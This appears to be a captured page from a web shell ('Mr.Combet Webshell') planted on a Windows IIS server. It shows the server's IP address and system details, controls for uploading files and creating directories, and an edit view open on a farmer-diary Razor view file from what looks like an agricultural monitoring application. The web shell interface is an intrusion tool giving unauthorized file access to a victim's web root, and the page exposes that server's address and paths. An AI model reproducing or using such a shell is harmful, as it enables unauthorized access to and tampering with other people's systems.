Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
VITA
/
Views
/
FarmerDiary
/
Edit File Name :
_FarmerDiaryLandTab.cshtml
@model RER_Project.DataAccess.ViewModels.Baseline.BaselineViewModel @using RER_Project.Core.Helpers; @using RER_Project.BusinessLayer.BusinessService @{ var meta = AppUserService.GetCurrent(); } @{ var memberStatus = Model.MemberDetailView.IsActive; } @if (memberStatus) { <form id="CreateLand"> <input type="hidden" id="LandId" name="Id" /> <div class="row"> @{ /* For Fish Commodity (Just changing Level and following below strategy ) ============================================================= ========================================================================================== | OtherCommodity Fish Commodity | | | | IrrigatedLand mapped to Area of Pond in database | | | | Non IrrigatedLand mapped to Land Probability for Pond in database | */ } <div class="form-group col-md-2"> <label id="lblLandStatus"><strong>Land Status</strong></label> <select type="text" class="form-control required" name="LandStatusId" id="LandStatusId" data-api="/land_status/select/commodity/@Model.MemberDetailView.Commodity"></select> </div> <div class="form-group col-md-2"> <strong><label id="lblIrrigatedLand" style="font-weight:700"> Irrigated Land </label></strong> <div> <input type="text" class=" form-control required" onkeypress="return isNumberKey(this,event)" maxlength="7" name="IrrigatedLand" id="IrrigatedLand"> </div> @*<input type="number" min="0" oninput="validity.valid||(value='');" step="0.0001" class=" form-control required" id="IrrigatedLand" name="IrrigatedLand" />*@ </div> <div class="form-group col-md-2"> <label id="lblNonIrrigatedLand" style="font-weight:700">Non-Irrigated Land</label> <div> <input type="text" class=" form-control required " onkeypress="return isNumberKey(this,event)" maxlength="7" name="NonIrrigatedLand" id="NonIrrigatedLand"> </div> @* <input type="number" min="0" oninput="validity.valid||(value='');" step="0.0001" class=" form-control required" id="NonIrrigatedLand" name="NonIrrigatedLand" />*@ </div> <div class="form-group col-md-3 " id="divLandProbabilityOfIrrigation"> <strong><label style="font-weight:700" id="lblLandProbabilityOfIrrigation" for="LandProbabilityOfIrrigation">Land with probability of Irrigation</label></strong> <div> <input type="text" class=" form-control required " onkeypress="return isNumberKey(this,event)" maxlength="7" name="LandProbabilityOfIrrigation" id="LandProbabilityOfIrrigation"> </div> @* <input type="number" min="0" oninput="validity.valid||(value='');" step="0.0001" class=" form-control required" id="LandProbabilityOfIrrigation" name="LandProbabilityOfIrrigation" />*@ </div> <div class="form-group col-md-2"> <label id="lblLandUnitId"><strong>Unit</strong></label> <select type="text" class="form-control required" name="LandUnitId" id="LandUnitId" data-api="/land/unit/select"></select> </div> </div> <div class="row"> <div class="form-group col-md-4"> <label for="Remarks"><strong>Remarks</strong></label> <input type="text" class=" form-control required" id="LandRemarks" name="Remarks" /> </div> <div class="form-group col-lg-2"> <br /> <div class="pull-right"> @if (meta.RoleId == (int)EnumRoleHelper.Roles.Admin || meta.RoleId == (int)EnumRoleHelper.Roles.MnEExpert || meta.RoleId == (int)EnumRoleHelper.Roles.MnEOfficer) { <input type="button" value="Save" class="btn btn-primary" id="SubmitLand" /> } <a href="/farmer_diary/time_frame/member/@Model.MemberDetailView.Id" class="btn btn-default"><i class="fa fa-arrow-circle-o-left" aria-hidden="true"></i> Back</a> </div> </div> </div> <div class="row"> <div class="form-group col-md-6"> <h4>Total Land: <span id="TotalLand">0</span> <span id="TotalLandUnit"></span> </h4> <h4>Total Land (Hectare) : <span id="TotalLandHectare">0</span> <span id="TotalLandUnitHectare"></span></h4> </div> </div> </form> } <div class="row"> <div class="col-lg-12"> <div class="pull-left"> <a class="btn btn-primary btnPrevious"><i class="fa fa-arrow-circle-o-left" aria-hidden="true"></i> Previous</a> </div> </div> </div> <div class="table-responsive" style="margin-top: 16px;"> <table class="table table-bordered table-hover" name="tblLand" id="tblLand"> <thead> <tr> <th>Land Status</th> <th> @if (@Model.MemberDetailView.Commodity == 2) { <span>Area of Pond </span> } else { <span>Irrigated Land</span> } </th> <th> @if (Model.MemberDetailView.Commodity == 2) { <span> Land Probability for Pond </span> } else { <span>Non Irrigated Land</span> } </th> @if (Model.MemberDetailView.Commodity != 2) { <th> Land With Probability Of Irrigation </th> } <th>Land Unit</th> <th>Remarks</th> @if (memberStatus) { <th>Action</th> } </tr> </thead> <tbody id="tblLandBody"> </tbody> <tfoot style="line-height:30px;background-color:#edf0ee;color:black" id="tblLandFooter"> </tfoot> </table> <span> Note: <strong>1 KATTHA = 0.033863159390965 HECTARE</strong> <strong>1 ROPANI = 0.050873706673504 HECTARE</strong> </span> </div> <script type="text/javascript"> var commodityId = @Model.MemberDetailView.Commodity; if (commodityId == 2) { $("#lblIrrigatedLand").text("Area of Pond"); $("#lblNonIrrigatedLand").text("Land Probability for Pond"); $("#divLandProbabilityOfIrrigation").hide(); $("#LandProbabilityOfIrrigation").removeClass("required"); } function loadLand() { const ajax = request(); function request() { const url = '/farmer_diary/land/member/' + @Model.MemberDetailView.Id + "/fiscal/" + '@ViewBag.FiscalYear'; return window.getAjaxRequest(url, "Get", @Model.MemberDetailView.Id); } ajax.done(function (response) { addLandToTable(response); }); ajax.fail(function (xhr) { ShowMessage("error", xhr.responseText); }); } function addLandToTable(response) { console.log(response); var status = '@memberStatus'; var totalIrrigatedLandHectare = 0.0; var totalNonIrrigatedLandHectare = 0.0; var totalLandWithProbabilityOfIrrigationHectare = 0.0; $('#tblLand tbody > tr').remove(); $('#tblLand tfoot > tr').remove(); var table = $("#tblLand tbody"); response.forEach(function (x) { var row = "<tr>"; // row += "<td>" + x.fiscal_year + "</td>"; //row += "<td>" + x.quadrimester + "</td>"; row += "<td>" + x.status_name + "</td>"; row += "<td>" + x.irrigated_land + "<br>(" + x.irrigated_land_hectare + " Hectare)" + "</td>"; row += "<td>" + x.non_irrigated_land + "<br>(" + x.non_irrigated_land_hectare + " Hectare)" +"</td>"; if (commodityId != 2) { row += "<td>" + x.land_probability_of_irrigation + "<br>(" + x.land_probability_of_irrigation_hectare + " Hectare)" + "</td>"; totalLandWithProbabilityOfIrrigationHectare += parseFloat(x.land_probability_of_irrigation_hectare || 0); } row += "<td>" + x.unit_name+"</td>"; row += "<td>" + x.remarks + "</td>"; row += "<td class='hideshow'>" + "<a class='btn btn-default btn-xs' style='color:dodgerblue' onclick=editFarmerDiaryLandById(" + x.id + ") ><i class='fa fa-edit'></i></a>" + " <a class='btn btn-default btn-xs' style='color:dodgerblue' onclick=deleteFarmerDiaryLandByLandId(" + x.id + ") ><i class='fa fa-trash'></i ></a> " + " <span style='cursor:pointer' onclick=showFarmerDiaryLandRecommendPopUp(" + x.id + ") class='badge'>Recommend</span> </center></td > "; totalIrrigatedLandHectare += parseFloat(x.irrigated_land_hectare || 0); totalNonIrrigatedLandHectare += parseFloat(x.non_irrigated_land_hectare || 0); table.append(row); }) if (status === 'False') { $('.hideshow').hide(); } var tblFooter = $("#tblLand tfoot"); var footerRow = `<tr> <td ><strong>Total : </strong></td> <td><strong><center> ${getNumberWithComma(totalIrrigatedLandHectare.toFixed(3)) } Hectare</center ></strong ></td > <td><strong><center> ${getNumberWithComma(totalNonIrrigatedLandHectare.toFixed(3))} Hectare </center></strong></td> `; if (commodityId != 2) { footerRow += "<td><strong><center>" + getNumberWithComma(totalLandWithProbabilityOfIrrigationHectare.toFixed(3)) + " Hectare </center></strong></td>"; } footerRow += "<td></td><td></td><td></td></tr>" tblFooter.append(footerRow); if (status === 'False') { $('.hideshow').hide(); } } $("#SubmitLand").off("click").on("click", function () { const form = $("#CreateLand"); $.validator.unobtrusive.parse(form); if (!form.valid()) { return false; }; if (!window.confirmAction()) { return; }; function request(model) { const url = "/farmer_diary/land/create"; const data = JSON.stringify(model); return window.getAjaxRequest(url, "POST", data); } function getModel() { return (getBaselineLand()); } function getBaselineLand() { var landData = {}; landData.Id = $('#LandId').val(); landData.BaselineId = $('#baselineId').val(); landData.GroupId = @Model.MemberDetailView.GroupId; landData.BaselineId = @Model.Baseline.Id; landData.DistrictId = @Model.MemberDetailView.DistrictId; landData.MemberId = @Model.MemberDetailView.Id; landData.IrrigatedLand = $('#IrrigatedLand').val(); landData.NonIrrigatedLand = $('#NonIrrigatedLand').val(); landData.LandProbabilityOfIrrigation = $('#LandProbabilityOfIrrigation').val(); landData.LandUnitId = $('#LandUnitId option:selected').val(); landData.LandStatusId = $('#LandStatusId option:selected').val(); landData.Remarks = $('#LandRemarks').val(); landData.FiscalYearId = '@ViewBag.FiscalYear'; landData.IrrigatedLandHectare = convertToHectare(landData.LandUnitId, landData.IrrigatedLand); landData.NonIrrigatedLandHectare = convertToHectare(landData.LandUnitId, landData.NonIrrigatedLand); landData.LandProbabilityOfIrrigationHectare = convertToHectare(landData.LandUnitId, landData.LandProbabilityOfIrrigation); landData.LandAreaSum = removeCommaFromString($("#TotalLand").text()); landData.LandAreaSumHectare = convertToHectare(landData.LandUnitId, landData.LandAreaSum); return landData; } const model = getModel(); const ajax = request(model); ajax.done(function (response) { WorkForce.loader.hide(); showNotification("success"); debugger; loadLand(); clearLandData(); }); ajax.fail(function (xhr) { debugger WorkForce.loader.hide(); ShowMessage("error", xhr.responseText); }); }); function clearLandData() { $("#TotalLand").text(""); $("TotalLandHectare").text(""); $("#TotalLandUnit").text(""); $("#TotalLandUnitHectare").text(""); $("#LandId").val(""); $("#LandStatusId").val(""); $('#IrrigatedLand').val(''); $('#NonIrrigatedLand').val(''); $('#LandProbabilityOfIrrigation').val(''); $('#LandUnitId').val(''); $('#LandRemarks').val(''); $('#FiscalYear').val(''); $('#Quadtrimester').val(''); } function editFarmerDiaryLandById(id) { const ajax = request(id); function request(id) { const url = '/farmer_diary/land/' + id; return window.getAjaxRequest(url, "Get", id); } ajax.done(function (response) { console.log(response); debugger; $('#LandId').val(response.Id); $('#LandStatusId').val(response.LandStatusId); $('#IrrigatedLand').val(response.IrrigatedLand); $('#NonIrrigatedLand').val(response.NonIrrigatedLand); $('#LandProbabilityOfIrrigation').val(response.LandProbabilityOfIrrigation); $('#LandUnitId').val(response.LandUnitId); $('#LandRemarks').val(response.Remarks); $('#FiscalYear').val(response.FiscalYearId); $('#Quadtrimester').val(response.Quadrimester); }) ajax.fail(function (xhr) { ShowMessage("error", xhr.responseText); }); } function deleteFarmerDiaryLandByLandId(landId) { let conf = confirm(`Are you sure you want to delete this Farmer Diary Land ?`); if (!conf) { return; } else { const ajaxResponse = requestFarmerDiaryLandToDelete(landId); ajaxResponse.done(function (response) { WorkForce.loader.hide(); if (response) { clearLandData(); loadLand(); ShowMessage("success", "Successfully Deleted this Farmer Diary Land"); } WorkForce.loader.hide(); }); ajaxResponse.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("Error", xhr.responseText); }); WorkForce.loader.hide(); } } function requestFarmerDiaryLandToDelete(landId) { const url = "/farmer_diary/land/delete/"; const data = JSON.stringify({ "Id": landId}); return window.getAjaxRequest(url, "POST", data); } function showFarmerDiaryLandRecommendPopUp(id) { $('#recommendFarmerDiaryModel').modal('show'); $('#RowIdInPopUp').val(id); $('#TableName').val('FarmerDiaryLand'); } function convertToHectare(unitId,value) { // 4 Kattha //11 Ropani if (unitId === "4") { return (0.033863159390965 * value).toFixed(3); } else if (unitId === "11") { return (value * 0.050873706673504).toFixed(3); } } </script> @{ /* For Fish Commodity (Just changing Level and following below strategy ) ============================================================= ========================================================================================== | OtherCommodity Fish Commodity | | | | IrrigatedLand mapped to Area of Pond in database | | | | Non IrrigatedLand mapped to Land Probability for Pond in database | */ }
Save